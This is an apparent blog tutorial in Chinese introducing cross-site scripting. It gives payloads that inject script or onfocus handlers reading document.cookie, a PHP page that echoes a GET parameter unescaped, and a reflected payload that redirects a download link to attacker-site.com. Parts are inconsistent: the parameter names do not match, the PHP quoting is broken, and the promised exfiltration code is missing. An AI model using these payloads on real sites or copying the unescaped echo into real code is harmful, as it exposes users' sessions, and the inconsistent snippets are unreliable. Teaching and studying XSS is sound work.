XSS学习笔记(一)-点击劫持
- - CSDN博客Web前端推荐文章所谓的XSS场景就是触发的XSS的场所,多数情况下都是攻击者在网页中嵌入(发表)的恶意脚本(Cross site Scripting),这里的触发攻击总是在浏览器端,达到攻击的者的目的,一般都是获取用户的Cookie(可以还原账户登录状态),导航到恶意网址,携带木马,作为肉鸡发起CC攻击,传播XSS蠕虫等.
<input type="text" name="address1" value=""/><script>alert(document.cookie);</script><!--">这样就是显示一个含有用户cookie的提示框,如果输入再改改:
<input type="text" name="address1" value="" onfocus="alert(document.cookie); ">这样在onfocus事件触发后,js 代码就会被执行,当然攻击者肯定不会傻的把提示框弹出来,这里只是证明可以获取到数据,hk的一般做法就是把想要的数据发到自己的另外一个站上他们的做法一般是:
<?php $name = $_GET['name']; /* 在GET 参数中获取用户名 */ echo "Welcome $name <br>"; /* 这里网页中打印变量 */ echo "<a href="http://blog.csdn.net/l_f0rM4t3d"> Click to Download</a>"; /* 显示可重定向的链接 */ ?>如果用户在URL输入:
index.php?id=ByteWay<script>alert('attacked');</script>这样在用户链接就会生成这样html代码:
Welcome ByteWay <script>alert('attacked');</script> <br> <a href='http://blog.csdn.net/l_f0rM4t3d'> Click to Download</a>
Welcome ByteWay <script> window.onload=function(){var link=document.getElementsByTagName('a'); link[0].href='http://attacker-site.com'; } </script> <br> <a href='http://blog.csdn.net/l_f0rM4t3d'> Click to Download</a>但是因为很快就会执行window.load的方法,这样后面的劫持的URL就发生了:
Welcome ByteWay <script> window.onload=function(){var link=document.getElementsByTagName('a'); link[0].href='http://attacker-site.com'; } </script> <br> <a href='http://attacker-site.com'> Click to Download</a> <!-- 注意这是被劫持之后的URL -->